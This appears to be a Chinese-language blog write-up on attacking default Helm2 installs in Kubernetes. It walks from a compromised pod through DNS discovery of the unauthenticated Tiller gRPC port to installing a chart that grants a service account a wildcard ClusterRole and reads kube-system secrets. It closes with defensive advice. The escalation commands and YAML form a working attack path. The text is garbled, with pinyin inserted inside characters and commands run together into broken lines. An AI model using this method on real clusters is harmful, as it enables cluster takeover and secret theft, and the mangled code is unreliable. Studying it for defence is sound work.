Helm介紹:參考http://rui0.cn/archives/1573
英文文章 https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/
(資料圖)
集群后滲透測試資源https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html
Kubernetes是一個(gè)強(qiáng)大的容器調(diào)度系統(tǒng),通常我們會(huì)使用一些聲明式的定義來在Kubernetes中部署業(yè)務(wù)。但是當(dāng)我們開始部署比較復(fù)雜的多層架構(gòu)時(shí),事情往往就會(huì)沒有那么簡單,在這種情況下,我們需要編寫和維護(hù)多個(gè)YAML文件,同時(shí)在編寫時(shí)需要理清各種對象和層級關(guān)系。這是一個(gè)比較麻煩的事情,所以這個(gè)時(shí)候Helm出現(xiàn)了。
我們熟悉的Python通過pip來管理包,Node.js使用npm管理包。那么在Kubernetes,我們可以使用Helm來管理。它降低了使用Kubernetes的門檻,對于開發(fā)者可以很方便的使用Helm打包,管理依賴關(guān)系,使用者可以在自己的Kubernetes通過Helm來一鍵部署所需的應(yīng)用。對于Helm本身可以研究的安全風(fēng)險(xiǎn)可以從很多角度來看比如Charts,Image等,詳細(xì)的內(nèi)容可以來看CNCF webinars關(guān)于Helm Security的一個(gè)分享(https://www.cncf.io/webinars/helm-security-a-look-below-deck/)本篇文章主要討論的是Helm2的安全風(fēng)險(xiǎn),因?yàn)樵贖elm2開發(fā)的時(shí)候,Kubernetes的RBAC體系還沒有建立完成,Kubernetes社區(qū)直到2017年10月份v1.8版本才默認(rèn)采用了RBAC權(quán)限體系,所以Helm2的架構(gòu)設(shè)計(jì)是存在一定安全風(fēng)險(xiǎn)的。
Helm3是在Helm2之上的一次大更改,于2019年11月份正式推出,同時(shí)Helm2開始退出歷史舞臺(tái),到2020年的11月開始停止安全更新。但是目前網(wǎng)絡(luò)上主流依然為關(guān)于Helm2的安裝配置文章,所以我們這里將對使用Helm2可能造成的安全風(fēng)險(xiǎn)進(jìn)行討論。
Helm2架構(gòu)Helm2是CS架構(gòu),包括客戶端和服務(wù)端,即Client和Tiller
Helm Client主要負(fù)責(zé)跟用戶進(jìn)行交互,通過命令行就可以完成Chart的安裝、升級、刪除等操作。在收到前端的命令后就可以傳輸給后端的Tiller使之與集群通信。其中Tiller是Helm的服務(wù)端主要用來接收Helm Client的請求,它們的請求是通過gRPC來傳輸。實(shí)際上它的主要作用就是在Helm2和Kubernetes集群中起到了一個(gè)中間人的轉(zhuǎn)發(fā)作用,Tiller可以完成部署Chart,管理Release以及在Kubernetes中創(chuàng)建應(yīng)用。官方在更新到Helm3中這樣說過:
從kubernetes 1.6開始默認(rèn)開啟RBAC。這是Kubernetes安全性/企業(yè)可用的一個(gè)重要特性。但是在RBAC開啟的情況下管理及配置Tiller變的非常復(fù)雜。為了簡化Helm的嘗試成本我們給出了一個(gè)不需要關(guān)注安全規(guī)則的默認(rèn)配置。但是,這會(huì)導(dǎo)致一些用戶意外獲得了他們并不需要的權(quán)限。并且,管理員/SRE需要學(xué)習(xí)很多額外的知識(shí)才能將Tiller部署的到關(guān)注安全的生產(chǎn)環(huán)境的多租戶K8S集群中并使其正常工作。
所以通過我們了解在Helm2這種架構(gòu)設(shè)計(jì)下Tiller組件通常會(huì)被配置為非常高的權(quán)限,也因此會(huì)造成安全風(fēng)險(xiǎn)。
對外暴露端口擁有和Kubernetes通信時(shí)的高權(quán)限(可以進(jìn)行創(chuàng)建,修改和刪除等操作)因此對于目前將使用Helm的人員請安裝Helm3,對于Helm2的使用者請盡快升級到Helm3。針對Helm3,最大的變化就是移除掉Tiller,由此大大簡化了Helm的安全模型實(shí)現(xiàn)方式。Helm3現(xiàn)在可以支持所有的kubernetes認(rèn)證及鑒權(quán)等全部安全特性。Helm和本地的kubeconfig flie中的配置使用一致的權(quán)限。管理員可以按照自己認(rèn)為合適的粒度來管理用戶權(quán)限。
安全風(fēng)險(xiǎn)復(fù)現(xiàn)配置Helm2參考https://www.cnblogs.com/keithtt/p/13171160.html
官方文檔有helm2的快速安裝https://v2.helm.sh/docs/using_helm/#special-note-for-rbac-users
1、使用二進(jìn)制安裝包安裝helm客戶端
wget https://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gztar xvf helm-v2.16.9-linux-amd64.tar.gzcd linux-amd64cp-a helm/usr/local/bin/
2、設(shè)置命令行自動(dòng)補(bǔ)全
echo"source <(helm completion bash)">> ~/.bashrc
3、安裝tiller服務(wù)端
創(chuàng)建服務(wù)賬戶ServiceAccount:
由于目前K8s都默認(rèn)啟用基于角色的訪問控制RBAC,因此,需要為TillerPod創(chuàng)建一個(gè)具有正確角色和資源訪問權(quán)限的ServiceAccount,參考https://v2.helm.sh/docs/using_helm/#special-note-for-rbac-users以及https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/
Tiller Pod需要提升權(quán)限才能與Kubernetes API通信,對服務(wù)賬戶權(quán)限的管理通常很棘手且被忽視,因此啟動(dòng)和運(yùn)行的最簡單方法是為Tiller創(chuàng)建一個(gè)具有完整集群官員權(quán)限的服務(wù)賬戶。
要?jiǎng)?chuàng)建具有cluster-admin權(quán)限的ServiceAccount,在YAML中定義一個(gè)新的ServiceAccount和ClutserRoleBinding資源文件:
這個(gè)操作創(chuàng)建了名為tiller的ServiceAccount,并生成一個(gè)secrets token認(rèn)證文件,為該賬戶提供完整的集群管理員權(quán)限。
# 創(chuàng)建名為tiller的ServiceAccount 并綁定搭配集群管理員 cluster-adminapiVersion: v1kind: ServiceAccountmetadata:name: tillernamespace: kube-system---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:name: tillerroleRef:apiGroup: rbac.authorization.k8s.iokind: ClusterRolename: cluster-adminsubjects:-kind: ServiceAccountname: tillernamespace: kube-system# 創(chuàng)建kubectlapply-f helm-rbac.yam
4、初始化Helm
使用新ServiceAccount服務(wù)賬號(hào)初始化Helm,
--tiller-image
指定使用的 Tiller 鏡像
--stable-repo-url string
指定穩(wěn)定存儲(chǔ)庫的 URL(默認(rèn)為 "https://kubernetes-charts.storage.googleapis.com"),這里指定了 Azure 中國的 Helm 倉庫地址來加速 Helm 包的下載。
helm init --service-account tiller --tiller-image=registry.cn-hangzhou.aliyuncs.com/google_containers/tiller:v2.16.6 --stable-repo-url http://mirror.azure.cn/kubernetes/chartskubectl get deployment tiller-deploy -n kube-systemhelm versionClient: &version.Version{SemVer:"v2.16.9", GitCommit:"8ad7037828e5a0fca1009dabe290130da6368e39", GitTreeState:"clean"}Server: &version.Version{SemVer:"v2.16.6", GitCommit:"dd2e5695da88625b190e6b22e9542550ab503a47", GitTreeState:"clean"}
這個(gè)命令會(huì)設(shè)置客戶端,并且在kube-system命名空間中為Tiller創(chuàng)建deployment和service,標(biāo)簽為label app=helm
kubectl-n kube-system getall-l"app=helm"
也可以查看Tiller deployment被設(shè)定為集群管理員服務(wù)賬號(hào)tiller,命令:
kubectl-n kube-system get deployments-l"app=helm"-o jsonpath="{.items[0].spec.template.spec.serviceAccount}"
5、添加repo,這里需要更改為可用的鏡像源
1)官方鏡像源為https://charts.helm.sh/stable
配置官方鏡像源命令: helm repo add stablehttps://charts.helm.sh/stable
2)GitPage鏡像:參考https://github.com/BurdenBear/kube-charts-mirror搭建一個(gè)自主可控的鏡像源 (參考2http://charts.ost.ai/)
3)Aliyun鏡像:長時(shí)間未更新,版本較舊
helm repo add stable https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts/
4)Azure鏡像源(有博客說2021.7.8已不可用,但親測可用)
helm repo add stable http://mirror.azure.cn/kubernetes/charts/helm repo add incubator http://mirror.azure.cn/kubernetes/charts-incubator/
這里用Azure的鏡像源(阿里鏡像源過于老,只支持 extensions/v1beta1 版本的 Deployment 對象)
helm repo add stable http://mirror.azure.cn/kubernetes/charts/# 查看repo配置列表helm repo list
6、更新repo
helm repo update
7、安裝一個(gè)app
helm install stable/nginx-ingress--name nginx-ingress--namespace nginx-ingresshelm install stable/owncloud--name owncloud--namespace owncloudhelm ls-a
8、刪除一個(gè)app
helm delete--purge owncloud
9、卸載helm(tiller)
helm reset--forcekubectl delete service/tiller-deploy-n kube-systemkubectl delete deployment.apps/tiller-deploy-n kube-system
創(chuàng)建應(yīng)用上面成功安裝Helm2之后,可以看到Tiller已被部署到Kube-system的命名空間下
通過Helm來部署應(yīng)用,helm install stable/tomcat --name my-tomcat
在沒有使用其他flag時(shí),Tiller將所有資源部署到default命名空間中,–name字段將作為release標(biāo)簽應(yīng)用到資源上,因此可以使用 kubectl get all -l "release=my-tomcat" 這個(gè)命令查看Helm部署的名為my-tomcat的所有資源
Helm通過LoadBalancer服務(wù)為我們暴露端口,因此我們?nèi)绻L問列出的EXTERNAL-IP,可以看到tomcat啟動(dòng)并運(yùn)行
查看部署情況
模擬入侵針對集群內(nèi)的攻擊,模擬Tomcat服務(wù)被入侵,攻擊者拿到了容器的控制權(quán)。
通過exec進(jìn)入容器內(nèi):kubectl exec -it my-tomcat-b976c48b6-rfzv8 -- /bin/bash
登錄shell后,有幾個(gè)指標(biāo)可以快速判斷這是一個(gè)運(yùn)行在K8s集群上的容器:
/.dockerenv
文件存在,說明我們在Docker容器里有幾個(gè)Kubernetes相關(guān)的環(huán)境變量集群后滲透利用有個(gè)很好的總結(jié)可以參考 https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html
在k8s環(huán)境下的滲透,通常會(huì)首先看其中的環(huán)境變量,獲取集群的相關(guān)信息,服務(wù)位置以及一些敏感配置文件
了解了k8s API等位置后我們可以通過curl等方式去嘗試請求,看是否配置授權(quán),是403禁止匿名訪問的;即使我們可以和Kubernetes API交互,但是因?yàn)镽BAC啟用,我們無法獲取任何信息
服務(wù)偵查默認(rèn)情況下,k8s使用kube-dns,查看/etc/resolv.conf可以看到此pod配置使用kube-dns。因?yàn)閗ube-dns中的DNS名遵循這個(gè)格式:
利用這個(gè)域名解析,我們能夠找到其他一些服務(wù),雖然我們在default命名空間中,但重要的是namespace不提供任何安全保障,默認(rèn)情況下,沒有阻止跨命名空間通信的網(wǎng)絡(luò)策略。
這里我們可以查詢在kube-system命名空間下運(yùn)行的服務(wù),如kube-dns服務(wù)本身:注意我們使用的是getent查詢域名,因?yàn)閜od中可能沒安裝任何標(biāo)準(zhǔn)的dns工具。
$ getent hosts kube-dns.kube-system.svc.cluster.local10.96.0.10 kube-dns.kube-system.svc.cluster.local
通過DNS枚舉其他namespace下正在運(yùn)行的服務(wù)。Tiller在命名空間kube-system中如何創(chuàng)建服務(wù)的?它默認(rèn)名稱為tiller-deploy,如果我們用DNS查詢可以看到存在的位置。
很好,Tiller安裝在了集群中,如何濫用它呢
了解Helm與K8s集群通信方式Helm 與 kubernetes 集群通信的方式是通過 gRPC 與tiller-deploy
pod 通信。然后,pod 使用其服務(wù)帳戶token與 Kubernetes API 通信。當(dāng)客戶端運(yùn)行Helm命令時(shí),實(shí)際上是通過端口轉(zhuǎn)發(fā)到集群中,直接與tiller-deploy
Service通信,該Service始終指向TCP 44134 上的tiller-deploy
Pod。這種方式可以讓Helm命令直接與Tillerr-deploy Pod進(jìn)行交互,而不必暴露K8s API的直接訪問權(quán)限給Helm客戶端。
也就是說,集群外的用戶必須有能力轉(zhuǎn)發(fā)訪問到集群的端口,因?yàn)門CP 44134端口無法從集群外部訪問。
然而,對于在K8s集群內(nèi)的用戶而言,44134 TCP端口是可訪問的,不用端口轉(zhuǎn)發(fā)。
用curl驗(yàn)證端口是否打開: curl tiller-deploy.kube-system.svc.cluster.local:44134
curl失敗,但能connect成功連接,因?yàn)榇硕它c(diǎn)是與gRPC通信,而不是HTTP。
目前已知我們可以訪問端口,如果我們可以發(fā)送正確的信息,則可以直接與Tiller通信,因?yàn)槟J(rèn)情況下,Tiller不需要進(jìn)行任何身份驗(yàn)證就可以與gRPC通信。在這個(gè)默認(rèn)安裝中Tiller以集群管理員權(quán)限運(yùn)行,基本上可以在沒有任何身份驗(yàn)證的情況下運(yùn)行集群管理命令。
與Tiller通過gRPC通信所有 gRPC 端點(diǎn)都以Protobuf 格式在源代碼中定義,因此任何人都可以創(chuàng)建客戶端來與 API 通信。但是與 Tiller 通信的最簡單方法就是通過普通的 Helm 客戶端,它無論如何都是靜態(tài)二進(jìn)制文件。
在pod 上,我們可以helm
從官方版本下載二進(jìn)制文件。下載并解壓到 /tmp:注意可能需要指定下載特定版本。
Helm 提供了 --host 和 HELM_HOST 環(huán)境變量選項(xiàng),可以指定直接連接到 Tiller 的地址。通過使用 Tiller-deploy Service 的完全限定域名(FQDN),我們可以直接與 Tiller Pod 進(jìn)行通信并運(yùn)行任意 Helm 命令。
./helm --host tiller-deploy.kube-system.svc.cluster.local:44134 ls
這樣我們可以完全控制Tiller,可以做cluster-admin可以用Helm做的任何事情。包括安裝 升級 刪除版本。但我們?nèi)匀徊荒苤苯优cK8s API通信,所以我們需要濫用Tiller來升級權(quán)限成為完整的cluster-admin
針對Helm-Tiller攻擊1、首先通過DNS查看是否存在Tiller服務(wù)。為了交互,Tiller的端口會(huì)被開放到集群內(nèi),根據(jù)命名規(guī)則我們可以嘗試默認(rèn)Tiller的名稱
curl tiller-deploy.kube-system:44134 --output out
可以看到端口是開放的,不過因?yàn)檫B接時(shí)通過gRPC的方式交互,所以使用HTTP無法連接。同時(shí)在這種情況下我們可以連接Tiller,通過它可以在沒有身份驗(yàn)證的情況下執(zhí)行k8s內(nèi)的操作
我們可以通過gRPC方式使用Protobuf格式來與其交互,但是過于麻煩。
這里最簡單的方式是我們通過Client直接與Tiller連接
2、下載helm客戶端到tmp目錄下:
wgethttps://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gz && tar xvf helm-v2.16.9-linux-amd64.tar.gz
嘗試請求tiller:./helm --host tiller-deploy.kube-system:44134 version
連接成功
這意味著我們可以做很多事情。
一個(gè)較為麻煩的方式是:比如竊取高權(quán)限用戶的token,因?yàn)槲覀兛梢钥刂苩iller意味著我們可以使用這個(gè)權(quán)限的賬戶來創(chuàng)建pod,從而獲取創(chuàng)建pod后,能夠獲取到創(chuàng)建pod的token。掛載在pod內(nèi)路徑下/var/run/secrets/kubernetes.io/serviceaccount/token。這個(gè)token在創(chuàng)建對應(yīng)pod時(shí)被掛載,可以利用這個(gè)token完成對k8s的交互。
更加簡單粗暴的方式:
1)先下載一個(gè)kubectl方便后期交互
查看當(dāng)前權(quán)限可以做的事情 kubectl auth can-i --list
2)查看當(dāng)前權(quán)限能否讀取secrets
./kubectl get secrets -n kube-system
看到目前權(quán)限不夠,我們想要獲取到整個(gè)集群的權(quán)限,即我們希望有一個(gè)可以訪問所有namespace的ServiceAccount。我們可以把default這個(gè)SA賦予ClutsterRole RBAC中的全部權(quán)限。
3、這時(shí)候需要使用ClusterRole和ClusterRoleBinding這兩種對象
ClusterRoleClusterRole對象可以授予整個(gè)集群范圍內(nèi)資源訪問權(quán)限, 也可以對以下幾種資源的授予訪問權(quán)限:集群范圍資源(例如節(jié)點(diǎn),即node)非資源類型endpoint(例如”/healthz”)跨所有namespaces的范圍資源(例如pod,需要運(yùn)行命令kubectl get pods –all-namespaces來查詢集群中所有的pod)ClusterRoleBindingClusterRoleBinding在整個(gè)集群級別和所有namespaces將特定的subject與ClusterRole綁定,授予權(quán)限。創(chuàng)建兩個(gè)資源:
apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata: name: all-your-baserules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: belong-to-usroleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: all-your-basesubjects: - kind: ServiceAccount namespace: {{ .Values.namespace }} name: {{ .Values.name }}
將它們生成為對應(yīng)的chart,并下載到被攻擊的容器中,之后使用Client進(jìn)行安裝,配置之后便可以進(jìn)行高權(quán)限操作
4、生成charts并安裝的過程:
在 Helm 中,可以使用helm create
命令創(chuàng)建一個(gè)新的 Chart,并使用helm package
命令將 Chart 打包成一個(gè).tgz
文件,可以在其他機(jī)器上使用helm install
命令來安裝該 Chart。
以下是一個(gè)簡單的示例,演示如何創(chuàng)建一個(gè)名為mychart
的 Chart 并將其打包:
創(chuàng)建 Chart,該命令將會(huì)在當(dāng)前目錄下創(chuàng)建一個(gè) mychart 目錄,包含 Chart 所需的模板和示例文件。
在命令行中執(zhí)行以下命令,創(chuàng)建一個(gè)名為mychart
的 Chart:$ helm create mychart
修改 Chart
在mychart
目錄中,可以根據(jù)需要修改Chart.yaml
、values.yaml
和templates
目錄中的模板文件,以定義 Chart 所包含的應(yīng)用程序、服務(wù)和資源等。
打包 Chart,該命令將會(huì)在當(dāng)前目錄下生成一個(gè)名為 mychart-x.x.x.tgz 的文件,其中 x.x.x 表示 Chart 的版本號(hào)。
在命令行中執(zhí)行以下命令,將 Chart 打包成一個(gè).tgz
文件:$ helm package mychart
下載 Chart:$ helm install mychart mychart-x.x.x.tgz
可以將生成的 .tgz 文件復(fù)制到其他機(jī)器上,然后使用 helm install 命令來安裝 Chart。例如,執(zhí)行以下命令將 Chart 安裝到 Kubernetes 集群中;
其中 mychart 是 Chart 的名稱,mychart-x.x.x.tgz 是 Chart 打包后的文件名。
直接使用https://github.com/Ruil1n/helm-tiller-pwn這里打包好的文件就行
如果有報(bào)錯(cuò)提示,需要修改charts打包文件中的模板內(nèi)容,為支持的版本 錯(cuò)誤提示通常是由于 Kubernetes API Server 不支持rbac.authorization.k8s.io/v1beta1版本的 ClusterRole 和 ClusterRoleBinding 對象引起的。 這是因?yàn)閺?Kubernetes 1.22 開始,rbac.authorization.k8s.io/v1beta1版本的 ClusterRole 和 ClusterRoleBinding 已經(jīng)被廢棄,并在 Kubernetes 1.22 版本中已經(jīng)完全刪除。 |
./helm --host tiller-deploy.kube-system:44134 install pwnchart
可以看到我們提升權(quán)限成功,現(xiàn)在已經(jīng)能夠獲取到kube-system下的secrets,同時(shí)可以進(jìn)行其他操作。
總結(jié)Helm簡化了Kubernetes應(yīng)用的部署和管理,越來越多的人在生產(chǎn)環(huán)境中使用它來部署和管理應(yīng)用。Helm3是在Helm2之上的一次大更改,主要就是移除了Tiller。由于Helm2基本是去年(2020)年末才完全停止支持,目前仍有大量開發(fā)者在使用,所以依舊存在大量安全風(fēng)險(xiǎn)。本文主要從集群內(nèi)攻擊的角度來展示了使用Tiller獲取Kubernetes的高權(quán)限并且完成敏感操作。最后我們來說一下如何防御,如果你堅(jiān)持希望使用Tiller,那么請一定要注意不要對外開放端口,同時(shí)配置TLS認(rèn)證以及嚴(yán)格的RBAC認(rèn)證(https://github.com/michelleN/helm-tiller-rbac)。這里更建議大家盡快升級Helm2到Helm3以及直接使用Helm3。
標(biāo)簽: